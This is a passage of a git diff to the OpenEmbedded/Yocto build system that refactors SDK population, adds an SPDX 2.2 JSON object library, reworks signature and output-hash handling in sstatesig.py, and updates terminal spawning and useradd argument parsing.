- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.target_pm.remove_packaging_data()
-
- bb.note("Installing NATIVESDK packages")
- self._populate_sysroot(self.host_pm, self.host_manifest)
- self.install_locales(self.host_pm)
-
- self.host_pm.run_intercepts(populate_sdk='host')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
-
- self._copy_apt_dir_to(os.path.join(self.sdk_output, self.sdk_native_path,
- "etc", "apt"))
-
- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.host_pm.remove_packaging_data()
-
- native_dpkg_state_dir = os.path.join(self.sdk_output, self.sdk_native_path,
- "var", "lib", "dpkg")
- self.mkdirhier(native_dpkg_state_dir)
- for f in glob.glob(os.path.join(self.sdk_output, "var", "lib", "dpkg", "*")):
- self.movefile(f, native_dpkg_state_dir)
- self.remove(os.path.join(self.sdk_output, "var"), True)
-
-
-
def sdk_list_installed_packages(d, target, rootfs_dir=None):
if rootfs_dir is None:
sdk_output = d.getVar('SDK_OUTPUT')
@@ -394,27 +115,22 @@ def sdk_list_installed_packages(d, target, rootfs_dir=None):
rootfs_dir = [sdk_output, os.path.join(sdk_output, target_path)][target is True]
+ if target is False:
+ ipkgconf_sdk_target = d.getVar("IPKGCONF_SDK")
+ d.setVar("IPKGCONF_TARGET", ipkgconf_sdk_target)
+
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- arch_var = ["SDK_PACKAGE_ARCHS", None][target is True]
- os_var = ["SDK_OS", None][target is True]
- return RpmPkgsList(d, rootfs_dir).list_pkgs()
- elif img_type == "ipk":
- conf_file_var = ["IPKGCONF_SDK", "IPKGCONF_TARGET"][target is True]
- return OpkgPkgsList(d, rootfs_dir, d.getVar(conf_file_var)).list_pkgs()
- elif img_type == "deb":
- return DpkgPkgsList(d, rootfs_dir).list_pkgs()
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type)
+ return cls.PMPkgsList(d, rootfs_dir).list_pkgs()
def populate_sdk(d, manifest_dir=None):
env_bkp = os.environ.copy()
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- RpmSdk(d, manifest_dir).populate()
- elif img_type == "ipk":
- OpkgSdk(d, manifest_dir).populate()
- elif img_type == "deb":
- DpkgSdk(d, manifest_dir).populate()
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type + '.sdk')
+ cls.PkgSdk(d, manifest_dir).populate()
os.environ.clear()
os.environ.update(env_bkp)
diff --git a/meta/lib/oe/spdx.py b/meta/lib/oe/spdx.py
new file mode 100644
index 0000000000..14ca706895
--- /dev/null
+++ b/meta/lib/oe/spdx.py
@@ -0,0 +1,342 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+#
+# This library is intended to capture the JSON SPDX specification in a type
+# safe manner. It is not intended to encode any particular OE specific
+# behaviors, see the sbom.py for that.
+#
+# The documented SPDX spec document doesn't cover the JSON syntax for
+# particular configuration, which can make it hard to determine what the JSON
+# syntax should be. I've found it is actually much simpler to read the official
+# SPDX JSON schema which can be found here: https://github.com/spdx/spdx-spec
+# in schemas/spdx-schema.json
+#
+
+import hashlib
+import itertools
+import json
+
+SPDX_VERSION = "2.2"
+
+
+#
+# The following are the support classes that are used to implement SPDX object
+#
+
+class _Property(object):
+ """
+ A generic SPDX object property. The different types will derive from this
+ class
+ """
+
+ def __init__(self, *, default=None):
+ self.default = default
+
+ def setdefault(self, dest, name):
+ if self.default is not None:
+ dest.setdefault(name, self.default)
+
+
+class _String(_Property):
+ """
+ A scalar string property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(**kwargs)
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper, del_helper)
+
+ def init(self, source):
+ return source
+
+
+class _Object(_Property):
+ """
+ A scalar SPDX object property of a SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(**kwargs)
+ self.cls = cls
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = self.cls()
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper)
+
+ def init(self, source):
+ return self.cls(**source)
+
+
+class _ListProperty(_Property):
+ """
+ A list of SPDX properties
+ """
+
+ def __init__(self, prop, **kwargs):
+ super().__init__(**kwargs)
+ self.prop = prop
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = []
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = list(value)
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper, del_helper)
+
+ def init(self, source):
+ return [self.prop.init(o) for o in source]
+
+
+class _StringList(_ListProperty):
+ """
+ A list of strings as a property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(_String(), **kwargs)
+
+
+class _ObjectList(_ListProperty):
+ """
+ A list of SPDX objects as a property for an SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(_Object(cls), **kwargs)
+
+
+class MetaSPDXObject(type):
+ """
+ A metaclass that allows properties (anything derived from a _Property
+ class) to be defined for a SPDX object
+ """
+ def __new__(mcls, name, bases, attrs):
+ attrs["_properties"] = {}
+
+ for key in attrs.keys():
+ if isinstance(attrs[key], _Property):
+ prop = attrs[key]
+ attrs["_properties"][key] = prop
+ prop.set_property(attrs, key)
+
+ return super().__new__(mcls, name, bases, attrs)
+
+
+class SPDXObject(metaclass=MetaSPDXObject):
+ """
+ The base SPDX object; all SPDX spec classes must derive from this class
+ """
+ def __init__(self, **d):
+ self._spdx = {}
+
+ for name, prop in self._properties.items():
+ prop.setdefault(self._spdx, name)
+ if name in d:
+ self._spdx[name] = prop.init(d[name])
+
+ def serializer(self):
+ return self._spdx
+
+ def __setattr__(self, name, value):
+ if name in self._properties or name == "_spdx":
+ super().__setattr__(name, value)
+ return
+ raise KeyError("%r is not a valid SPDX property" % name)
+
+#
+# These are the SPDX objects implemented from the spec. The *only* properties
+# that can be added to these objects are ones directly specified in the SPDX
+# spec, however you may add helper functions to make operations easier.
+#
+# Defaults should *only* be specified if the SPDX spec says there is a certain
+# required value for a field (e.g. dataLicense), or if the field is mandatory
+# and has some sane "this field is unknown" (e.g. "NOASSERTION")
+#
+
+class SPDXAnnotation(SPDXObject):
+ annotationDate = _String()
+ annotationType = _String()
+ annotator = _String()
+ comment = _String()
+
+class SPDXChecksum(SPDXObject):
+ algorithm = _String()
+ checksumValue = _String()
+
+
+class SPDXRelationship(SPDXObject):
+ spdxElementId = _String()
+ relatedSpdxElement = _String()
+ relationshipType = _String()
+ comment = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+
+
+class SPDXExternalReference(SPDXObject):
+ referenceCategory = _String()
+ referenceType = _String()
+ referenceLocator = _String()
+
+
+class SPDXPackageVerificationCode(SPDXObject):
+ packageVerificationCodeValue = _String()
+ packageVerificationCodeExcludedFiles = _StringList()
+
+
+class SPDXPackage(SPDXObject):
+ name = _String()
+ SPDXID = _String()
+ versionInfo = _String()
+ downloadLocation = _String(default="NOASSERTION")
+ packageSupplier = _String(default="NOASSERTION")
+ homepage = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ licenseDeclared = _String(default="NOASSERTION")
+ summary = _String()
+ description = _String()
+ sourceInfo = _String()
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoFromFiles = _StringList(default=["NOASSERTION"])
+ externalRefs = _ObjectList(SPDXExternalReference)
+ packageVerificationCode = _Object(SPDXPackageVerificationCode)
+ hasFiles = _StringList()
+ packageFileName = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+
+
+class SPDXFile(SPDXObject):
+ SPDXID = _String()
+ fileName = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoInFiles = _StringList(default=["NOASSERTION"])
+ checksums = _ObjectList(SPDXChecksum)
+ fileTypes = _StringList()
+
+
+class SPDXCreationInfo(SPDXObject):
+ created = _String()
+ licenseListVersion = _String()
+ comment = _String()
+ creators = _StringList()
+
+
+class SPDXExternalDocumentRef(SPDXObject):
+ externalDocumentId = _String()
+ spdxDocument = _String()
+ checksum = _Object(SPDXChecksum)
+
+
+class SPDXExtractedLicensingInfo(SPDXObject):
+ name = _String()
+ comment = _String()
+ licenseId = _String()
+ extractedText = _String()
+
+
+class SPDXDocument(SPDXObject):
+ spdxVersion = _String(default="SPDX-" + SPDX_VERSION)
+ dataLicense = _String(default="CC0-1.0")
+ SPDXID = _String(default="SPDXRef-DOCUMENT")
+ name = _String()
+ documentNamespace = _String()
+ creationInfo = _Object(SPDXCreationInfo)
+ packages = _ObjectList(SPDXPackage)
+ files = _ObjectList(SPDXFile)
+ relationships = _ObjectList(SPDXRelationship)
+ externalDocumentRefs = _ObjectList(SPDXExternalDocumentRef)
+ hasExtractedLicensingInfos = _ObjectList(SPDXExtractedLicensingInfo)
+
+ def __init__(self, **d):
+ super().__init__(**d)
+
+ def to_json(self, f, *, sort_keys=False, indent=None, separators=None):
+ class Encoder(json.JSONEncoder):
+ def default(self, o):
+ if isinstance(o, SPDXObject):
+ return o.serializer()
+
+ return super().default(o)
+
+ sha1 = hashlib.sha1()
+ for chunk in Encoder(
+ sort_keys=sort_keys,
+ indent=indent,
+ separators=separators,
+ ).iterencode(self):
+ chunk = chunk.encode("utf-8")
+ f.write(chunk)
+ sha1.update(chunk)
+
+ return sha1.hexdigest()
+
+ @classmethod
+ def from_json(cls, f):
+ return cls(**json.load(f))
+
+ def add_relationship(self, _from, relationship, _to, *, comment=None, annotation=None):
+ if isinstance(_from, SPDXObject):
+ from_spdxid = _from.SPDXID
+ else:
+ from_spdxid = _from
+
+ if isinstance(_to, SPDXObject):
+ to_spdxid = _to.SPDXID
+ else:
+ to_spdxid = _to
+
+ r = SPDXRelationship(
+ spdxElementId=from_spdxid,
+ relatedSpdxElement=to_spdxid,
+ relationshipType=relationship,
+ )
+
+ if comment is not None:
+ r.comment = comment
+
+ if annotation is not None:
+ r.annotations.append(annotation)
+
+ self.relationships.append(r)
+
+ def find_by_spdxid(self, spdxid):
+ for o in itertools.chain(self.packages, self.files):
+ if o.SPDXID == spdxid:
+ return o
+ return None
+
+ def find_external_document_ref(self, namespace):
+ for r in self.externalDocumentRefs:
+ if r.spdxDocument == namespace:
+ return r
+ return None
diff --git a/meta/lib/oe/sstatesig.py b/meta/lib/oe/sstatesig.py
index c566ce5a0c..2cf858e201 100644
--- a/meta/lib/oe/sstatesig.py
+++ b/meta/lib/oe/sstatesig.py
@@ -2,9 +2,10 @@
# SPDX-License-Identifier: GPL-2.0-only
#
import bb.siggen
+import bb.runqueue
import oe
-def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCache):
+def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCaches):
# Return True if we should keep the dependency, False to drop it
def isNative(x):
return x.endswith("-native")
@@ -12,23 +13,26 @@ def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCache):
return "-cross-" in x
def isNativeSDK(x):
return x.startswith("nativesdk-")
- def isKernel(fn):
- inherits = " ".join(dataCache.inherits[fn])
+ def isKernel(mc, fn):
+ inherits = " ".join(dataCaches[mc].inherits[fn])
return inherits.find("/module-base.bbclass") != -1 or inherits.find("/linux-kernel-base.bbclass") != -1
- def isPackageGroup(fn):
- inherits = " ".join(dataCache.inherits[fn])
+ def isPackageGroup(mc, fn):
+ inherits = " ".join(dataCaches[mc].inherits[fn])
return "/packagegroup.bbclass" in inherits
- def isAllArch(fn):
- inherits = " ".join(dataCache.inherits[fn])
+ def isAllArch(mc, fn):
+ inherits = " ".join(dataCaches[mc].inherits[fn])
return "/allarch.bbclass" in inherits
- def isImage(fn):
- return "/image.bbclass" in " ".join(dataCache.inherits[fn])
-
- # (Almost) always include our own inter-task dependencies.
- # The exception is the special do_kernel_configme->do_unpack_and_patch
- # dependency from archiver.bbclass.
- if recipename == depname:
- if task == "do_kernel_configme" and dep.endswith(".do_unpack_and_patch"):
+ def isImage(mc, fn):
+ return "/image.bbclass" in " ".join(dataCaches[mc].inherits[fn])
+
+ depmc, _, deptaskname, depmcfn = bb.runqueue.split_tid_mcfn(dep)
+ mc, _ = bb.runqueue.split_mc(fn)
+
+ # (Almost) always include our own inter-task dependencies (unless it comes
+ # from a mcdepends). The exception is the special
+ # do_kernel_configme->do_unpack_and_patch dependency from archiver.bbclass.
+ if recipename == depname and depmc == mc:
+ if task == "do_kernel_configme" and deptaskname == "do_unpack_and_patch":
return False
return True
@@ -47,22 +51,21 @@ def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCache):
# Only target packages beyond here
# allarch packagegroups are assumed to have well behaved names which don't change between architecures/tunes
- if isPackageGroup(fn) and isAllArch(fn) and not isNative(depname):
+ if isPackageGroup(mc, fn) and isAllArch(mc, fn) and not isNative(depname):
return False
# Exclude well defined machine specific configurations which don't change ABI
- if depname in siggen.abisaferecipes and not isImage(fn):
+ if depname in siggen.abisaferecipes and not isImage(mc, fn):
return False
# Kernel modules are well namespaced. We don't want to depend on the kernel's checksum
- # if we're just doing an RRECOMMENDS_xxx = "kernel-module-*", not least because the checksum
+ # if we're just doing an RRECOMMENDS:xxx = "kernel-module-*", not least because the checksum
# is machine specific.
# Therefore if we're not a kernel or a module recipe (inheriting the kernel classes)
# and we reccomend a kernel-module, we exclude the dependency.
- depfn = dep.rsplit(":", 1)[0]
- if dataCache and isKernel(depfn) and not isKernel(fn):
- for pkg in dataCache.runrecs[fn]:
- if " ".join(dataCache.runrecs[fn][pkg]).find("kernel-module-") != -1:
+ if dataCaches and isKernel(depmc, depmcfn) and not isKernel(mc, fn):
+ for pkg in dataCaches[mc].runrecs[fn]:
+ if " ".join(dataCaches[mc].runrecs[fn][pkg]).find("kernel-module-") != -1:
return False
# Default to keep dependencies
@@ -87,10 +90,12 @@ class SignatureGeneratorOEBasic(bb.siggen.SignatureGeneratorBasic):
self.abisaferecipes = (data.getVar("SIGGEN_EXCLUDERECIPES_ABISAFE") or "").split()
self.saferecipedeps = (data.getVar("SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS") or "").split()
pass
- def rundep_check(self, fn, recipename, task, dep, depname, dataCache = None):
- return sstate_rundepfilter(self, fn, recipename, task, dep, depname, dataCache)
+ def rundep_check(self, fn, recipename, task, dep, depname, dataCaches = None):
+ return sstate_rundepfilter(self, fn, recipename, task, dep, depname, dataCaches)
class SignatureGeneratorOEBasicHashMixIn(object):
+ supports_multiconfig_datacaches = True
+
def init_rundepcheck(self, data):
self.abisaferecipes = (data.getVar("SIGGEN_EXCLUDERECIPES_ABISAFE") or "").split()
self.saferecipedeps = (data.getVar("SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS") or "").split()
@@ -103,6 +108,7 @@ class SignatureGeneratorOEBasicHashMixIn(object):
self.unlockedrecipes = (data.getVar("SIGGEN_UNLOCKED_RECIPES") or
"").split()
self.unlockedrecipes = { k: "" for k in self.unlockedrecipes }
+ self._internal = False
pass
def tasks_resolved(self, virtmap, virtpnmap, dataCache):
@@ -124,8 +130,8 @@ class SignatureGeneratorOEBasicHashMixIn(object):
newsafedeps.append(a1 + "->" + a2)
self.saferecipedeps = newsafedeps
- def rundep_check(self, fn, recipename, task, dep, depname, dataCache = None):
- return sstate_rundepfilter(self, fn, recipename, task, dep, depname, dataCache)
+ def rundep_check(self, fn, recipename, task, dep, depname, dataCaches = None):
+ return sstate_rundepfilter(self, fn, recipename, task, dep, depname, dataCaches)
def get_taskdata(self):
return (self.lockedpnmap, self.lockedhashfn, self.lockedhashes) + super().get_taskdata()
@@ -140,22 +146,29 @@ class SignatureGeneratorOEBasicHashMixIn(object):
self.dump_lockedsigs(sigfile)
return super(bb.siggen.SignatureGeneratorBasicHash, self).dump_sigs(dataCache, options)
- def get_taskhash(self, tid, deps, dataCache):
- h = super(bb.siggen.SignatureGeneratorBasicHash, self).get_taskhash(tid, deps, dataCache)
+
+ def get_taskhash(self, tid, deps, dataCaches):
+ if tid in self.lockedhashes:
+ if self.lockedhashes[tid]:
+ return self.lockedhashes[tid]
+ else:
+ return super().get_taskhash(tid, deps, dataCaches)
+
+ h = super().get_taskhash(tid, deps, dataCaches)
(mc, _, task, fn) = bb.runqueue.split_tid_mcfn(tid)
- recipename = dataCache.pkg_fn[fn]
+ recipename = dataCaches[mc].pkg_fn[fn]
self.lockedpnmap[fn] = recipename
- self.lockedhashfn[fn] = dataCache.hashfn[fn]
+ self.lockedhashfn[fn] = dataCaches[mc].hashfn[fn]
unlocked = False
if recipename in self.unlockedrecipes:
unlocked = True
else:
def recipename_from_dep(dep):
- fn = bb.runqueue.fn_from_tid(dep)
- return dataCache.pkg_fn[fn]
+ (depmc, _, _, depfn) = bb.runqueue.split_tid_mcfn(dep)
+ return dataCaches[depmc].pkg_fn[depfn]
# If any unlocked recipe is in the direct dependencies then the
# current recipe should be unlocked as well.
@@ -169,8 +182,9 @@ class SignatureGeneratorOEBasicHashMixIn(object):
h_locked = self.lockedsigs[recipename][task][0]
var = self.lockedsigs[recipename][task][1]
self.lockedhashes[tid] = h_locked
- unihash = super().get_unihash(tid)
- self.taskhash[tid] = h_locked
+ self._internal = True
+ unihash = self.get_unihash(tid)
+ self._internal = False
#bb.warn("Using %s %s %s" % (recipename, task, h))
if h != h_locked and h_locked != unihash:
@@ -178,17 +192,24 @@ class SignatureGeneratorOEBasicHashMixIn(object):
% (recipename, task, h, h_locked, var))
return h_locked
+
+ self.lockedhashes[tid] = False
#bb.warn("%s %s %s" % (recipename, task, h))
return h
+ def get_stampfile_hash(self, tid):
+ if tid in self.lockedhashes and self.lockedhashes[tid]:
+ return self.lockedhashes[tid]
+ return super().get_stampfile_hash(tid)
+
def get_unihash(self, tid):
- if tid in self.lockedhashes:
+ if tid in self.lockedhashes and self.lockedhashes[tid] and not self._internal:
return self.lockedhashes[tid]
return super().get_unihash(tid)
def dump_sigtask(self, fn, task, stampbase, runtime):
tid = fn + ":" + task
- if tid in self.lockedhashes:
+ if tid in self.lockedhashes and self.lockedhashes[tid]:
return
super(bb.siggen.SignatureGeneratorBasicHash, self).dump_sigtask(fn, task, stampbase, runtime)
@@ -217,15 +238,26 @@ class SignatureGeneratorOEBasicHashMixIn(object):
continue
f.write(" " + self.lockedpnmap[fn] + ":" + task + ":" + self.get_unihash(tid) + " \\\n")
f.write(' "\n')
- f.write('SIGGEN_LOCKEDSIGS_TYPES_%s = "%s"' % (self.machine, " ".join(l)))
+ f.write('SIGGEN_LOCKEDSIGS_TYPES:%s = "%s"' % (self.machine, " ".join(l)))
+
+ def dump_siglist(self, sigfile, path_prefix_strip=None):
+ def strip_fn(fn):
+ nonlocal path_prefix_strip
+ if not path_prefix_strip:
+ return fn
+
+ fn_exp = fn.split(":")
+ if fn_exp[-1].startswith(path_prefix_strip):
+ fn_exp[-1] = fn_exp[-1][len(path_prefix_strip):]
+
+ return ":".join(fn_exp)
- def dump_siglist(self, sigfile):
with open(sigfile, "w") as f:
tasks = []
for taskitem in self.taskhash:
(fn, task) = taskitem.rsplit(":", 1)
pn = self.lockedpnmap[fn]
- tasks.append((pn, task, fn, self.taskhash[taskitem]))
+ tasks.append((pn, task, strip_fn(fn), self.taskhash[taskitem]))
for (pn, task, fn, taskhash) in sorted(tasks):
f.write('%s:%s %s %s\n' % (pn, task, fn, taskhash))
@@ -405,13 +437,13 @@ def find_sstate_manifest(taskdata, taskdata2, taskname, d, multilibcache):
d2 = multilibcache[variant]
if taskdata.endswith("-native"):
- pkgarchs = ["${BUILD_ARCH}"]
+ pkgarchs = ["${BUILD_ARCH}", "${BUILD_ARCH}_${ORIGNATIVELSBSTRING}"]
elif taskdata.startswith("nativesdk-"):
pkgarchs = ["${SDK_ARCH}_${SDK_OS}", "allarch"]
elif "-cross-canadian" in taskdata:
pkgarchs = ["${SDK_ARCH}_${SDK_ARCH}-${SDKPKGSUFFIX}"]
elif "-cross-" in taskdata:
- pkgarchs = ["${BUILD_ARCH}_${TARGET_ARCH}"]
+ pkgarchs = ["${BUILD_ARCH}"]
elif "-crosssdk" in taskdata:
pkgarchs = ["${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"]
else:
@@ -424,7 +456,7 @@ def find_sstate_manifest(taskdata, taskdata2, taskname, d, multilibcache):
manifest = d2.expand("${SSTATE_MANIFESTS}/manifest-%s-%s.%s" % (pkgarch, taskdata, taskname))
if os.path.exists(manifest):
return manifest, d2
- bb.warn("Manifest %s not found in %s (variant '%s')?" % (manifest, d2.expand(" ".join(pkgarchs)), variant))
+ bb.fatal("Manifest %s not found in %s (variant '%s')?" % (manifest, d2.expand(" ".join(pkgarchs)), variant))
return None, d2
def OEOuthashBasic(path, sigfile, task, d):
@@ -438,6 +470,8 @@ def OEOuthashBasic(path, sigfile, task, d):
import stat
import pwd
import grp
+ import re
+ import fnmatch
def update_hash(s):
s = s.encode('utf-8')
@@ -447,12 +481,37 @@ def OEOuthashBasic(path, sigfile, task, d):
h = hashlib.sha256()
prev_dir = os.getcwd()
+ corebase = d.getVar("COREBASE")
+ tmpdir = d.getVar("TMPDIR")
include_owners = os.environ.get('PSEUDO_DISABLED') == '0'
+ if "package_write_" in task or task == "package_qa":
+ include_owners = False
+ include_timestamps = False
+ include_root = True
+ if task == "package":
+ include_timestamps = True
+ include_root = False
+ hash_version = d.getVar('HASHEQUIV_HASH_VERSION')
+ extra_sigdata = d.getVar("HASHEQUIV_EXTRA_SIGDATA")
+
+ filemaps = {}
+ for m in (d.getVar('SSTATE_HASHEQUIV_FILEMAP') or '').split():
+ entry = m.split(":")
+ if len(entry) != 3 or entry[0] != task:
+ continue
+ filemaps.setdefault(entry[1], [])
+ filemaps[entry[1]].append(entry[2])
try:
os.chdir(path)
+ basepath = os.path.normpath(path)
update_hash("OEOuthashBasic\n")
+ if hash_version:
+ update_hash(hash_version + "\n")
+
+ if extra_sigdata:
+ update_hash(extra_sigdata + "\n")
# It is only currently useful to get equivalent hashes for things that
# can be restored from sstate. Since the sstate object is named using
@@ -497,23 +556,33 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
add_perm(stat.S_IXUSR, 'x')
- add_perm(stat.S_IRGRP, 'r')
- add_perm(stat.S_IWGRP, 'w')
- if stat.S_ISGID & s.st_mode:
- add_perm(stat.S_IXGRP, 's', 'S')
- else:
- add_perm(stat.S_IXGRP, 'x')
+ if include_owners:
+ # Group/other permissions are only relevant in pseudo context
+ add_perm(stat.S_IRGRP, 'r')
+ add_perm(stat.S_IWGRP, 'w')
+ if stat.S_ISGID & s.st_mode:
+ add_perm(stat.S_IXGRP, 's', 'S')
+ else:
+ add_perm(stat.S_IXGRP, 'x')
- add_perm(stat.S_IROTH, 'r')
- add_perm(stat.S_IWOTH, 'w')
- if stat.S_ISVTX & s.st_mode:
- update_hash('t')
- else:
- add_perm(stat.S_IXOTH, 'x')
+ add_perm(stat.S_IROTH, 'r')
+ add_perm(stat.S_IWOTH, 'w')
+ if stat.S_ISVTX & s.st_mode:
+ update_hash('t')
+ else:
+ add_perm(stat.S_IXOTH, 'x')
- if include_owners:
- update_hash(" %10s" % pwd.getpwuid(s.st_uid).pw_name)
- update_hash(" %10s" % grp.getgrgid(s.st_gid).gr_name)
+ try:
+ update_hash(" %10s" % pwd.getpwuid(s.st_uid).pw_name)
+ update_hash(" %10s" % grp.getgrgid(s.st_gid).gr_name)
+ except KeyError as e:
+ bb.warn("KeyError in %s" % path)
+ msg = ("KeyError: %s\nPath %s is owned by uid %d, gid %d, which doesn't match "
+ "any user/group on target. This may be due to host contamination." % (e, path, s.st_uid, s.st_gid))
+ raise Exception(msg).with_traceback(e.__traceback__)
+
+ if include_timestamps:
+ update_hash(" %10d" % s.st_mtime)
update_hash(" ")
if stat.S_ISBLK(s.st_mode) or stat.S_ISCHR(s.st_mode):
@@ -521,8 +590,13 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
update_hash(" " * 9)
+ filterfile = False
+ for entry in filemaps:
+ if fnmatch.fnmatch(path, entry):
+ filterfile = True
+
update_hash(" ")
- if stat.S_ISREG(s.st_mode):
+ if stat.S_ISREG(s.st_mode) and not filterfile:
update_hash("%10d" % s.st_size)
else:
update_hash(" " * 10)
@@ -531,9 +605,24 @@ def OEOuthashBasic(path, sigfile, task, d):
fh = hashlib.sha256()
if stat.S_ISREG(s.st_mode):
# Hash file contents
- with open(path, 'rb') as d:
- for chunk in iter(lambda: d.read(4096), b""):
+ if filterfile:
+ # Need to ignore paths in crossscripts and postinst-useradd files.
+ with open(path, 'rb') as d:
+ chunk = d.read()
+ chunk = chunk.replace(bytes(basepath, encoding='utf8'), b'')
+ for entry in filemaps:
+ if not fnmatch.fnmatch(path, entry):
+ continue
+ for r in filemaps[entry]:
+ if r.startswith("regex-"):
+ chunk = re.sub(bytes(r[6:], encoding='utf8'), b'', chunk)
+ else:
+ chunk = chunk.replace(bytes(r, encoding='utf8'), b'')
fh.update(chunk)
+ else:
+ with open(path, 'rb') as d:
+ for chunk in iter(lambda: d.read(4096), b""):
+ fh.update(chunk)
update_hash(fh.hexdigest())
else:
update_hash(" " * len(fh.hexdigest()))
@@ -546,7 +635,8 @@ def OEOuthashBasic(path, sigfile, task, d):
update_hash("\n")
# Process this directory and all its child files
- process(root)
+ if include_root or root != ".":
+ process(root)
for f in files:
if f == 'fixmepath':
continue
diff --git a/meta/lib/oe/terminal.py b/meta/lib/oe/terminal.py
index a1daa2bed6..53186c4a3e 100644
--- a/meta/lib/oe/terminal.py
+++ b/meta/lib/oe/terminal.py
@@ -5,7 +5,6 @@ import logging
import oe.classutils
import shlex
from bb.process import Popen, ExecutionError
-from distutils.version import LooseVersion
logger = logging.getLogger('BitBake.OE.Terminal')
@@ -86,10 +85,10 @@ class Konsole(XTerminal):
def __init__(self, sh_cmd, title=None, env=None, d=None):
# Check version
vernum = check_terminal_version("konsole")
- if vernum and LooseVersion(vernum) < '2.0.0':
+ if vernum and bb.utils.vercmp_string_op(vernum, "2.0.0", "<"):
# Konsole from KDE 3.x
self.command = 'konsole -T "{title}" -e {command}'
- elif vernum and LooseVersion(vernum) < '16.08.1':
+ elif vernum and bb.utils.vercmp_string_op(vernum, "16.08.1", "<"):
# Konsole pre 16.08.01 Has nofork
self.command = 'konsole --nofork --workdir . -p tabtitle="{title}" -e {command}'
XTerminal.__init__(self, sh_cmd, title, env, d)
@@ -163,7 +162,12 @@ class Tmux(Terminal):
# devshells, if it's already there, add a new window to it.
window_name = 'devshell-%i' % os.getpid()
- self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'.format(window_name)
+ self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'
+ if not check_tmux_version('1.9'):
+ # `tmux new-session -c` was added in 1.9;
+ # older versions fail with that flag
+ self.command = 'tmux new -d -s {0} -n {0} "{{command}}"'
+ self.command = self.command.format(window_name)
Terminal.__init__(self, sh_cmd, title, env, d)
attach_cmd = 'tmux att -t {0}'.format(window_name)
@@ -185,7 +189,7 @@ class Custom(Terminal):
Terminal.__init__(self, sh_cmd, title, env, d)
logger.warning('Custom terminal was started.')
else:
- logger.debug(1, 'No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
+ logger.debug('No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
raise UnsupportedTerminal('OE_TERMINAL_CUSTOMCMD not set')
@@ -207,13 +211,16 @@ def spawn_preferred(sh_cmd, title=None, env=None, d=None):
spawn(terminal.name, sh_cmd, title, env, d)
break
except UnsupportedTerminal:
- continue
+ pass
+ except:
+ bb.warn("Terminal %s is supported but did not start" % (terminal.name))
+ # when we've run out of options
else:
raise NoSupportedTerminals(get_cmd_list())
def spawn(name, sh_cmd, title=None, env=None, d=None):
"""Spawn the specified terminal, by name"""
- logger.debug(1, 'Attempting to spawn terminal "%s"', name)
+ logger.debug('Attempting to spawn terminal "%s"', name)
try:
terminal = Registry.registry[name]
except KeyError:
@@ -250,13 +257,18 @@ def spawn(name, sh_cmd, title=None, env=None, d=None):
except OSError:
return
+def check_tmux_version(desired):
+ vernum = check_terminal_version("tmux")
+ if vernum and bb.utils.vercmp_string_op(vernum, desired, "<"):
+ return False
+ return vernum
+
def check_tmux_pane_size(tmux):
import subprocess as sub
# On older tmux versions (<1.9), return false. The reason
# is that there is no easy way to get the height of the active panel
# on current window without nested formats (available from version 1.9)
- vernum = check_terminal_version("tmux")
- if vernum and LooseVersion(vernum) < '1.9':
+ if not check_tmux_version('1.9'):
return False
try:
p = sub.Popen('%s list-panes -F "#{?pane_active,#{pane_height},}"' % tmux,
diff --git a/meta/lib/oe/useradd.py b/meta/lib/oe/useradd.py
index 8fc77568ff..3caa3f851a 100644
--- a/meta/lib/oe/useradd.py
+++ b/meta/lib/oe/useradd.py
@@ -45,7 +45,6 @@ def build_useradd_parser():
parser.add_argument("-N", "--no-user-group", dest="user_group", help="do not create a group with the same name as the user", action="store_const", const=False)
parser.add_argument("-o", "--non-unique", help="allow to create users with duplicate (non-unique UID)", action="store_true")
parser.add_argument("-p", "--password", metavar="PASSWORD", help="encrypted password of the new account")
- parser.add_argument("-P", "--clear-password", metavar="CLEAR_PASSWORD", help="use this clear password for the new account")
